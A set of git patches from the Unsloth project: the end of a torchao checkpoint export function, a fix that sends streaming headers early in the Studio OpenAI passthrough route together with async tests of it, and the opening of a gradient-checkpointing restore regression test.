+        if os.path.exists(cfg_path):
+            with open(cfg_path, "r", encoding = "utf-8") as f:
+                cfg = json.load(f)
+        if "quantization_config" not in cfg:
+            raise RuntimeError(
+                f"Unsloth: torchao {kind} export failed - no quantization_config written to "
+                f"{cfg_path}"
+            )
+
+        # 6) Optional hub upload of the quantized artifact (the temp staging is cleaned in finally).
+        if push_to_hub:
+            print(f"Unsloth: Uploading torchao {kind} checkpoint to '{repo_id}' ...")
+            api.upload_folder(
+                folder_path = out_dir,
+                repo_id = repo_id,
+                repo_type = "model",
+                commit_message = merge_kwargs.get("commit_message", None),
+                commit_description = merge_kwargs.get("commit_description", None),
+                create_pr = merge_kwargs.get("create_pr", False),
+                revision = merge_kwargs.get("revision", None),
+            )
+            datasets = merge_kwargs.get("datasets", None)
+            if datasets:
+                try:
+                    from huggingface_hub import metadata_update
+                    metadata_update(repo_id, {"datasets": datasets}, overwrite = True, token = token)
+                except Exception as meta_err:
+                    logger.warning_once(
+                        f"Unsloth: could not update datasets metadata for {repo_id}: {meta_err}"
+                    )
+
+        result = repo_id if push_to_hub else out_dir
+        print(
+            f"Unsloth: Saved torchao {kind} checkpoint to '{result}'.\n"
+            f"Unsloth: This is portable (produced on any device, no NVIDIA GPU required). Load it "
+            f"with vLLM or transformers; FP8/INT8 acceleration is available on supported GPUs."
+        )
+        return result
+    finally:
+        if model_dev is not None:
+            try:
+                model.to(model_dev)
+            except Exception:
+                logger.warning_once(
+                    "Unsloth: could not restore the model to its original device after torchao "
+                    "export; it may remain on CPU."
+                )
+        if work_tmp is not None:
+            shutil.rmtree(work_tmp, ignore_errors = True)
+        for _ in range(3):
+            gc.collect()
+            if torch.cuda.is_available():
+                torch.cuda.empty_cache()
+
+
 def unsloth_save_pretrained_torchao(
     self,
     save_directory: Union[str, os.PathLike],

From fbb5b0968cd4318e483fc9918f0c592bf325c178 Mon Sep 17 00:00:00 2001
From: Rod Boev <rod.boev@gmail.com>
Date: Fri, 3 Jul 2026 11:26:38 -0400
Subject: [PATCH 188/306] Studio: flush passthrough stream headers before
 upstream prefill stalls (#6835)

* Studio: flush passthrough stream headers before upstream prefill stalls

* Studio: clean up delayed passthrough send failures

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: close passthrough preheader cleanup gaps

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: retry delayed passthrough overflow truncation

* Studio: close completed passthrough send responses

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
---
 studio/backend/routes/inference.py            | 132 ++++-
 .../tests/test_openai_tool_passthrough.py     | 547 ++++++++++++++++++
 2 files changed, 669 insertions(+), 10 deletions(-)

diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py
index ccf36e8f71..17be222d93 100644
--- a/studio/backend/routes/inference.py
+++ b/studio/backend/routes/inference.py
@@ -784,6 +784,7 @@ def _set_stream_response_read_timeout(
 
 
 _STREAM_DISCONNECT_POLL_TIMEOUT_S = 0.25
+_OPENAI_PASSTHROUGH_PREHEADER_STATUS_WINDOW_S = 0.1
 
 
 class _CompatSameTaskTimeout:
@@ -10890,41 +10891,73 @@ async def _openai_passthrough_stream(
     _cancel_keys = (payload.cancel_id, payload.session_id, completion_id)
     _tracker = _TrackedCancel(cancel_event, *_cancel_keys)
     _tracker.__enter__()
+    client = None
+    resp = None
+    send_task: Optional[asyncio.Task[Optional[httpx.Response]]] = None
+
+    async def _aclose_send_task(task: Optional[asyncio.Task[Optional[httpx.Response]]]) -> None:
+        if task is None:
+            return
+        if not task.done():
+            task.cancel()
+        try:
+            task_resp = await task
+            if task_resp is not None:
+                try:
+                    await task_resp.aclose()
+                except Exception:
+                    pass
+        except (asyncio.CancelledError, Exception):
+            pass
 
     # Keep tracker cleanup paired if pre-header dispatch is cancelled.
     try:
-        # Dispatch BEFORE returning StreamingResponse so transport errors and
-        # non-200 upstream statuses surface as real HTTP errors -- OpenAI SDKs
-        # rely on status codes to raise APIError/BadRequestError.
+        # Keep the pre-header window short so accepted SSE clients receive
+        # immediate headers in the common timeout-reduced stall.
         client = httpx.AsyncClient(
             timeout = _llama_streaming_generation_timeout(),
             limits = httpx.Limits(max_keepalive_connections = 0),
             trust_env = False,
         )
-        resp = None
         _truncate_budget = (
             _OVERFLOW_TRUNCATE_MAX_RETRIES if _overflow_truncation_requested(payload) else 0
         )
+
         while True:
             try:
                 req = client.build_request(
                     "POST", target_url, json = body, headers = {"Connection": "close"}
                 )
                 first_token_deadline = time.monotonic() + _DEFAULT_FIRST_TOKEN_TIMEOUT_S
-                resp = await _send_stream_with_preheader_cancel(
-                    client, req, cancel_event, request = request
+                send_task = asyncio.create_task(
+                    _send_stream_with_preheader_cancel(client, req, cancel_event, request = request)
                 )
+                done, _ = await asyncio.wait(
+                    {send_task},
+                    timeout = _OPENAI_PASSTHROUGH_PREHEADER_STATUS_WINDOW_S,
+                    return_when = asyncio.FIRST_COMPLETED,
+                )
+                if send_task not in done:
+                    break
+
+                # Dispatch returned quickly enough to preserve pre-header status.
+                resp = await send_task
+                send_task = None
             except httpx.RequestError as e:
                 # llama-server subprocess crashed / starting / unreachable.
                 logger.error("openai passthrough stream: upstream unreachable: %s", e)
                 api_monitor.fail(monitor_id, _friendly_error(e))
+                await _aclose_send_task(send_task)
                 await _aclose_stream_resources(resp = resp, client = client)
                 raise HTTPException(
                     status_code = 502,
                     detail = _friendly_error(e),
                 )
+            if resp is None and send_task is not None and not send_task.done():
+                break
             if resp is None:
                 api_monitor.finish(monitor_id, "cancelled")
+                await _aclose_send_task(send_task)
                 try:
                     await client.aclose()
                 except Exception:
@@ -10969,6 +11002,8 @@ async def _openai_passthrough_stream(
             api_monitor.fail(monitor_id, err_text[:500])
             raise _openai_passthrough_error(upstream_status, err_text)
 
+        # Keep tracker cleanup paired if pre-header dispatch is cancelled after we
+        # have already committed headers.
         async def _stream():
             # Same httpx lifecycle pattern as _anthropic_passthrough_stream:
             # save resp.aiter_lines() so the finally block can aclose() it on
@@ -10976,10 +11011,10 @@ async def _openai_passthrough_stream(
             lines_iter = None
             # Watchers unblock aiter_lines() during prefill, before in-loop
             # cancel/disconnect checks can run.
-            cancel_watcher = asyncio.create_task(_await_cancel_then_close(cancel_event, resp))
-            disconnect_watcher = asyncio.create_task(
-                _await_disconnect_then_close(request, resp, cancel_event)
-            )
+            cancel_watcher = None
+            disconnect_watcher = None
+
+            nonlocal resp, send_task, first_token_deadline, _truncate_budget
             monitor_done = False
             saw_finish_reason = False
             saw_done = False
@@ -11112,6 +11147,79 @@ async def _openai_passthrough_stream(
                 return lines
 
             try:
+                while True:
+                    if send_task is not None and not send_task.done():
+                        try:
+                            resp = await send_task
+                        except httpx.RequestError as e:
+                            logger.error("openai passthrough stream: upstream unreachable: %s", e)
+                            api_monitor.fail(monitor_id, _friendly_error(e))
+                            yield f"data: {json.dumps(_openai_stream_error_chunk(e))}\n\n"
+                            return
+                        send_task = None
+                    elif send_task is not None:
+                        try:
+                            resp = send_task.result()
+                        except httpx.RequestError as e:
+                            logger.error("openai passthrough stream: upstream unreachable: %s", e)
+                            api_monitor.fail(monitor_id, _friendly_error(e))
+                            yield f"data: {json.dumps(_openai_stream_error_chunk(e))}\n\n"
+                            return
+                        send_task = None
+
+                    if resp is None:
+                        api_monitor.finish(monitor_id, "cancelled")
+                        return
+                    if resp.status_code == 200:
+                        break
+
+                    err_bytes = await resp.aread()
+                    err_text = err_bytes.decode("utf-8", errors = "replace")
+                    logger.error(
+                        "openai passthrough upstream error: status=%s body=%s",
+                        resp.status_code,
+                        err_text[:500],
+                    )
+                    upstream_status = resp.status_code
+                    try:
+                        await resp.aclose()
+                    except Exception:
+                        pass
+                    resp = None
+                    if (
+                        _truncate_budget > 0
+                        and _classify_llama_generation_error(Exception(err_text))
+                        and _apply_overflow_truncation(body, err_text)
+                    ):
+                        _truncate_budget -= 1
+                        req = client.build_request(
+                            "POST", target_url, json = body, headers = {"Connection": "close"}
+                        )
+                        first_token_deadline = time.monotonic() + _DEFAULT_FIRST_TOKEN_TIMEOUT_S
+                        send_task = asyncio.create_task(
+                            _send_stream_with_preheader_cancel(
+                                client, req, cancel_event, request = request
+                            )
+                        )
+                        continue
+
+                    upstream_error = _openai_passthrough_error(upstream_status, err_text)
+                    error_payload = (
+                        upstream_error.detail
+                        if isinstance(upstream_error.detail, dict)
+                        else openai_error_body(
+                            str(upstream_error.detail),
+                            status = upstream_status,
+                        )
+                    )
+                    api_monitor.fail(monitor_id, err_text[:500])
+                    yield f"data: {json.dumps(error_payload)}\n\n"
+                    return
+
+                cancel_watcher = asyncio.create_task(_await_cancel_then_close(cancel_event, resp))
+                disconnect_watcher = asyncio.create_task(
+                    _await_disconnect_then_close(request, resp, cancel_event)
+                )
                 lines_iter = resp.aiter_lines()
                 async for raw_line in _aiter_llama_stream_items(
                     lines_iter,
@@ -11298,6 +11406,7 @@ async def _openai_passthrough_stream(
                 err = _openai_stream_error_chunk(e)
                 yield f"data: {json.dumps(err)}\n\n"
             finally:
+                await _aclose_send_task(send_task)
                 await _aclose_stream_resources(
                     watchers = (cancel_watcher, disconnect_watcher),
                     iterator = lines_iter,
@@ -11311,6 +11420,7 @@ async def _openai_passthrough_stream(
             # finally never ran. Release the eagerly-opened upstream resp/client
             # and the cancel-registry entry here; the watchers and line iterator
             # are created inside _stream(), so there is nothing else to close.
+            await _aclose_send_task(send_task)
             await _aclose_stream_resources(resp = resp, client = client)
             _tracker.__exit__(None, None, None)
 
@@ -11325,6 +11435,8 @@ async def _openai_passthrough_stream(
             unstarted_cleanup = _unstarted_cleanup,
         )
     except BaseException:
+        await _aclose_send_task(send_task)
+        await _aclose_stream_resources(resp = resp, client = client)
         _tracker.__exit__(None, None, None)
         raise
 
diff --git a/studio/backend/tests/test_openai_tool_passthrough.py b/studio/backend/tests/test_openai_tool_passthrough.py
index 1d725acd45..ccbd78e2b1 100644
--- a/studio/backend/tests/test_openai_tool_passthrough.py
+++ b/studio/backend/tests/test_openai_tool_passthrough.py
@@ -1856,6 +1856,553 @@ class TestApiMonitorProviderAndCompletionStreams:
         chunks = [chunk async for chunk in response.body_iterator]
         return SimpleNamespace(chunks = chunks, body = "".join(chunks), monitor = monitor)
 
+    def test_passthrough_stream_preheader_dispatched_with_timeout(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            gate = asyncio.Event()
+
+            async def fake_send(*_args, **_kwargs):
+                await gate.wait()
+                return httpx.Response(200, content = b"")
+
+            class Request:
+                async def is_disconnected(self):
+                    return False
+
+            monitor = ApiMonitor(max_entries = 3)
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+            )
+
+            response = await asyncio.wait_for(
+                _openai_passthrough_stream(
+                    Request(),
+                    threading.Event(),
+                    SimpleNamespace(
+                        base_url = "http://llama.test",
+                        context_length = 4096,
+                        _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                    ),
+                    payload,
+                    "chatcmpl-test",
+                    "chatcmpl-test",
+                    monitor_id = monitor_id,
+                ),
+                timeout = 0.2,
+            )
+            assert isinstance(response, _SameTaskStreamingResponse)
+
+            gate.set()
+            chunks = [
+                chunk.decode() if isinstance(chunk, bytes) else chunk
+                async for chunk in response.body_iterator
+            ]
+            assert "data: [DONE]\n\n" in "".join(chunks)
+
+        asyncio.run(_run())
+
+    def test_passthrough_stream_preheader_non_200_in_window(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            async def fake_send(*_args, **_kwargs):
+                return httpx.Response(400, content = b'{"error":"bad"}')
+
+            class Request:
+                async def is_disconnected(self):
+                    return False
+
+            monitor = ApiMonitor(max_entries = 3)
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+            )
+            with pytest.raises(HTTPException) as exc:
+                await _openai_passthrough_stream(
+                    Request(),
+                    threading.Event(),
+                    SimpleNamespace(
+                        base_url = "http://llama.test",
+                        context_length = 4096,
+                        _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                    ),
+                    payload,
+                    "chatcmpl-test",
+                    "chatcmpl-test",
+                    monitor_id = monitor_id,
+                )
+            assert exc.value.status_code == 400
+
+        asyncio.run(_run())
+
+    def test_passthrough_stream_preheader_request_error_in_window(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            async def fake_send(*_args, **_kwargs):
+                raise httpx.ConnectError("connectivity issue")
+
+            class Request:
+                async def is_disconnected(self):
+                    return False
+
+            monitor = ApiMonitor(max_entries = 3)
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+            )
+            with pytest.raises(HTTPException) as exc:
+                await _openai_passthrough_stream(
+                    Request(),
+                    threading.Event(),
+                    SimpleNamespace(
+                        base_url = "http://llama.test",
+                        context_length = 4096,
+                        _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                    ),
+                    payload,
+                    "chatcmpl-test",
+                    "chatcmpl-test",
+                    monitor_id = monitor_id,
+                )
+            assert exc.value.status_code == 502
+
+        asyncio.run(_run())
+
+    def test_passthrough_stream_preheader_delayed_non_200_returns_sse_error(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            gate = asyncio.Event()
+
+            async def fake_send(*_args, **_kwargs):
+                await gate.wait()
+                return httpx.Response(400, content = b'{"error":"bad"}')
+
+            class Request:
+                async def is_disconnected(self):
+                    return False
+
+            monitor = ApiMonitor(max_entries = 3)
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+            )
+            response = await asyncio.wait_for(
+                _openai_passthrough_stream(
+                    Request(),
+                    threading.Event(),
+                    SimpleNamespace(
+                        base_url = "http://llama.test",
+                        context_length = 4096,
+                        _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                    ),
+                    payload,
+                    "chatcmpl-test",
+                    "chatcmpl-test",
+                    monitor_id = monitor_id,
+                ),
+                timeout = 0.2,
+            )
+            assert isinstance(response, _SameTaskStreamingResponse)
+            gate.set()
+            chunks = [
+                chunk.decode() if isinstance(chunk, bytes) else chunk
+                async for chunk in response.body_iterator
+            ]
+            body = "".join(chunks)
+            assert "data:" in body
+            assert '"error"' in body
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "error"
+            assert "bad" in entry["error"]
+
+        asyncio.run(_run())
+
+    def test_passthrough_stream_preheader_delayed_context_error_keeps_error_envelope(
+        self, monkeypatch
+    ):
+        async def _run():
+            import routes.inference as inf_mod
+
+            gate = asyncio.Event()
+            ctx_msg = "request (4096 tokens) exceeds the available context size (2048 tokens)"
+
+            async def fake_send(*_args, **_kwargs):
+                await gate.wait()
+                return httpx.Response(400, content = ctx_msg.encode("utf-8"))
+
+            class Request:
+                async def is_disconnected(self):
+                    return False
+
+            monitor = ApiMonitor(max_entries = 3)
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+            )
+            response = await asyncio.wait_for(
+                _openai_passthrough_stream(
+                    Request(),
+                    threading.Event(),
+                    SimpleNamespace(
+                        base_url = "http://llama.test",
+                        context_length = 2048,
+                        _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                    ),
+                    payload,
+                    "chatcmpl-test",
+                    "chatcmpl-test",
+                    monitor_id = monitor_id,
+                ),
+                timeout = 0.2,
+            )
+            assert isinstance(response, _SameTaskStreamingResponse)
+
+            gate.set()
+            chunks = [
+                chunk.decode() if isinstance(chunk, bytes) else chunk
+                async for chunk in response.body_iterator
+            ]
+            body = "".join(chunks)
+            payload = json.loads(body.removeprefix("data: ").strip())
+            assert payload["error"]["code"] == "context_length_exceeded"
+            assert payload["error"]["param"] == "messages"
+            assert isinstance(payload["error"], dict)
+
+        asyncio.run(_run())
+
+    def test_passthrough_stream_preheader_delayed_context_error_retries_truncation(
+        self, monkeypatch
+    ):
+        async def _run():
+            import routes.inference as inf_mod
+
+            gate = asyncio.Event()
+            calls = []
+            err_body = json.dumps(
+                {
+                    "error": {
+                        "message": "request (10000 tokens) exceeds the available context size (2048 tokens)",
+                        "n_prompt_tokens": 10000,
+                        "n_ctx": 2048,
+                    }
+                }
+            ).encode("utf-8")
+
+            async def fake_send(_client, req, *_args, **_kwargs):
+                calls.append(json.loads(req.content.decode("utf-8")))
+                if len(calls) == 1:
+                    await gate.wait()
+                    return httpx.Response(400, content = err_body)
+                return httpx.Response(200, content = b"")
+
+            class Request:
+                async def is_disconnected(self):
+                    return False
+
+            monitor = ApiMonitor(max_entries = 3)
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+
+            messages = [
+                ChatMessage(role = "system", content = "system"),
+                *[
+                    ChatMessage(role = "user", content = f"turn {idx} " + ("x" * 1000))
+                    for idx in range(8)
+                ],
+            ]
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = messages,
+                stream = True,
+                context_overflow = "truncate_middle",
+            )
+            response = await asyncio.wait_for(
+                _openai_passthrough_stream(
+                    Request(),
+                    threading.Event(),
+                    SimpleNamespace(
+                        base_url = "http://llama.test",
+                        context_length = 2048,
+                        _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                    ),
+                    payload,
+                    "chatcmpl-test",
+                    "chatcmpl-test",
+                    monitor_id = monitor_id,
+                ),
+                timeout = 0.2,
+            )
+            assert isinstance(response, _SameTaskStreamingResponse)
+
+            gate.set()
+            chunks = [
+                chunk.decode() if isinstance(chunk, bytes) else chunk
+                async for chunk in response.body_iterator
+            ]
+            assert "data: [DONE]\n\n" in "".join(chunks)
+            assert len(calls) == 2
+            assert len(calls[1]["messages"]) < len(calls[0]["messages"])
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "completed"
+
+        asyncio.run(_run())
+
+    def test_passthrough_stream_preheader_delayed_request_error_cleans_up(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            gate = asyncio.Event()
+            cancel_id = "delayed-request-error-cancel"
+
+            async def fake_send(*_args, **_kwargs):
+                await gate.wait()
+                raise httpx.ConnectError("delayed connectivity issue")
+
+            class Request:
+                async def is_disconnected(self):
+                    return False
+
+            monitor = ApiMonitor(max_entries = 3)
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+                cancel_id = cancel_id,
+            )
+            response = await asyncio.wait_for(
+                _openai_passthrough_stream(
+                    Request(),
+                    threading.Event(),
+                    SimpleNamespace(
+                        base_url = "http://llama.test",
+                        context_length = 4096,
+                        _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                    ),
+                    payload,
+                    "chatcmpl-test",
+                    "chatcmpl-test",
+                    monitor_id = monitor_id,
+                ),
+                timeout = 0.2,
+            )
+            assert isinstance(response, _SameTaskStreamingResponse)
+            assert cancel_id in inf_mod._CANCEL_REGISTRY
+
+            gate.set()
+            chunks = [
+                chunk.decode() if isinstance(chunk, bytes) else chunk
+                async for chunk in response.body_iterator
+            ]
+            body = "".join(chunks)
+            assert "data:" in body
+            assert '"error"' in body
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "error"
+            assert "Lost connection" in entry["error"]
+            assert cancel_id not in inf_mod._CANCEL_REGISTRY
+
+        asyncio.run(_run())
+
+    def test_passthrough_stream_preheader_cancel_cleans_pending_send(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            entered = asyncio.Event()
+            cancelled = asyncio.Event()
+            cancel_id = "preheader-cancel-cleanup"
+
+            async def fake_send(*_args, **_kwargs):
+                entered.set()
+                try:
+                    await asyncio.Event().wait()
+                except asyncio.CancelledError:
+                    cancelled.set()
+                    raise
+
+            class Request:
+                async def is_disconnected(self):
+                    return False
+
+            monitor = ApiMonitor(max_entries = 3)
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+                cancel_id = cancel_id,
+            )
+            task = asyncio.create_task(
+                _openai_passthrough_stream(
+                    Request(),
+                    threading.Event(),
+                    SimpleNamespace(
+                        base_url = "http://llama.test",
+                        context_length = 4096,
+                        _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                    ),
+                    payload,
+                    "chatcmpl-test",
+                    "chatcmpl-test",
+                    monitor_id = monitor_id,
+                )
+            )
+            await asyncio.wait_for(entered.wait(), timeout = 0.2)
+            assert cancel_id in inf_mod._CANCEL_REGISTRY
+
+            task.cancel()
+            with pytest.raises(asyncio.CancelledError):
+                await task
+            await asyncio.wait_for(cancelled.wait(), timeout = 0.2)
+            assert cancel_id not in inf_mod._CANCEL_REGISTRY
+
+        asyncio.run(_run())
+
+    def test_passthrough_stream_unstarted_cleanup_closes_completed_send_response(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            gate = asyncio.Event()
+            returned = asyncio.Event()
+            cancel_id = "unstarted-completed-send-cleanup"
+
+            class Stream(httpx.AsyncByteStream):
+                async def __aiter__(self):
+                    if False:
+                        yield b""
+
+            stream = Stream()
+            upstream_response = httpx.Response(200, stream = stream)
+
+            async def fake_send(*_args, **_kwargs):
+                await gate.wait()
+                returned.set()
+                return upstream_response
+
+            class Request:
+                async def is_disconnected(self):
+                    return False
+
+            monitor = ApiMonitor(max_entries = 3)
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+                cancel_id = cancel_id,
+            )
+            response = await asyncio.wait_for(
+                _openai_passthrough_stream(
+                    Request(),
+                    threading.Event(),
+                    SimpleNamespace(
+                        base_url = "http://llama.test",
+                        context_length = 4096,
+                        _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                    ),
+                    payload,
+                    "chatcmpl-test",
+                    "chatcmpl-test",
+                    monitor_id = monitor_id,
+                ),
+                timeout = 0.2,
+            )
+            assert isinstance(response, _SameTaskStreamingResponse)
+            assert cancel_id in inf_mod._CANCEL_REGISTRY
+
+            gate.set()
+            await asyncio.wait_for(returned.wait(), timeout = 0.2)
+            await asyncio.sleep(0)
+            await response._unstarted_cleanup()
+            assert upstream_response.is_closed
+            assert cancel_id not in inf_mod._CANCEL_REGISTRY
+
+        asyncio.run(_run())
+
     def test_external_non_streaming_json_updates_monitor(self, monkeypatch):
         async def _run():
             import routes.inference as inf_mod

From 2b06616a7eebe84535b9afc7ce4f37f45fe456e7 Mon Sep 17 00:00:00 2001
From: oobabooga <oobabooga4@gmail.com>
Date: Fri, 3 Jul 2026 12:35:02 -0300
Subject: [PATCH 189/306] Fix TrainingArguments silently disabling unsloth
 gradient checkpointing (#6829)

* Fix TrainingArguments silently disabling unsloth gradient checkpointing

* Cover loaded adapters and preserve explicit None in GC restore

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 tests/test_gradient_checkpointing_restore.py | 185 +++++++++++++++++++
 unsloth/models/llama.py                      |   8 +
 unsloth/models/rl.py                         |  16 +-
 unsloth/models/rl_replacements.py            |   3 +-
 unsloth/models/vision.py                     |   5 +
 5 files changed, 212 insertions(+), 5 deletions(-)
 create mode 100644 tests/test_gradient_checkpointing_restore.py

diff --git a/tests/test_gradient_checkpointing_restore.py b/tests/test_gradient_checkpointing_restore.py
new file mode 100644
index 0000000000..4f9f3faccc
--- /dev/null
+++ b/tests/test_gradient_checkpointing_restore.py
@@ -0,0 +1,185 @@
+# Unsloth - 2x faster, 60% less VRAM LLM training and finetuning
+# Copyright 2023-present Daniel Han-Chen, Michael Han-Chen & the Unsloth team. All rights reserved.
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU Lesser General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU Lesser General Public License for more details.
+
+"""Regression for #4735: a plain ``TrainingArguments`` silently disabling the
+gradient-checkpointing (GC) mode the model was configured with at setup.
+
+Setup records the effective GC mode as ``_unsloth_gradient_checkpointing``; the
+trainer restores *that* value, falling back to ``args.gradient_checkpointing``
+only when nothing was recorded. The restore lines live inside exec'd template
+strings, which ``py_compile`` never sees, so these tests pull the real snippets
+out of the source and execute them against fakes. GPU-free.
+"""
+
+from __future__ import annotations
+
+import ast
+import re
+from pathlib import Path
+
+_ROOT = Path(__file__).resolve().parent.parent / "unsloth" / "models"
+_RL = (_ROOT / "rl.py").read_text()
+_RL_REPLACEMENTS = (_ROOT / "rl_replacements.py").read_text()
+
+# The single-line ternary form used at the trainer call sites:
+#   <obj>._unsloth_gradient_checkpointing if hasattr(<obj>, '...') else getattr(<args>, 'gradient_checkpointing', True)
+_TERNARY = re.compile(
+    r"(?P<model>[\w.]+)\._unsloth_gradient_checkpointing "
+    r"if hasattr\((?P=model), '_unsloth_gradient_checkpointing'\) "
+    r"else getattr\((?P<args>[\w.]+), 'gradient_checkpointing', True\)"
+)
+
+_MISSING = object()
+
+
+class _Obj:
+    """Bare attribute bag; ``_unsloth_gradient_checkpointing`` present only when recorded."""
+
+    def __init__(
+        self,
+        recorded = _MISSING,
+        gradient_checkpointing = _MISSING,
+    ):
+        if recorded is not _MISSING:
+            self._unsloth_gradient_checkpointing = recorded
+        if gradient_checkpointing is not _MISSING:
+            self.gradient_checkpointing = gradient_checkpointing
+
+
+class _Self:
+    def __init__(
+        self,
+        model = None,
+        args = None,
+    ):
+        if model is not None:
+            self.model = model
+        self.args = args
+
+
+# (recorded on model, args.gradient_checkpointing, expected restored value)
+# The point of the fix: a recorded mode wins over args, and a recorded ``None``
+# (a valid setup value) is restored verbatim rather than collapsing to the
+# args fallback the way a ``None`` sentinel would.
+_MATRIX = [
+    ("unsloth", False, "unsloth"),  # the #4735 case: args=False must NOT win
+    (True, False, True),
+    (False, True, False),  # user turned GC off; args=True must NOT re-enable it
+    (None, True, None),  # explicit None is restored, not treated as "unrecorded"
+    (_MISSING, True, True),  # nothing recorded -> fall back to args
+    (_MISSING, False, False),
+]
+
+
+def _eval_ternary(expr, recorded, args_gc):
+    """Eval a restore expression that references either ``model``/``args`` or ``self.model``/``self.args``."""
+    model = _Obj(recorded = recorded)
+    args = _Obj(gradient_checkpointing = args_gc)
+    self = _Self(model = model, args = args)
+    return eval(
+        expr, {"hasattr": hasattr, "getattr": getattr}, {"model": model, "args": args, "self": self}
+    )
+
+
+def test_ternary_restore_semantics():
+    exprs = [m.group(0) for m in _TERNARY.finditer(_RL)]
+    exprs += [m.group(0) for m in _TERNARY.finditer(_RL_REPLACEMENTS)]
+    # Also guards against the lines being deleted/renamed (which reinstates the bug).
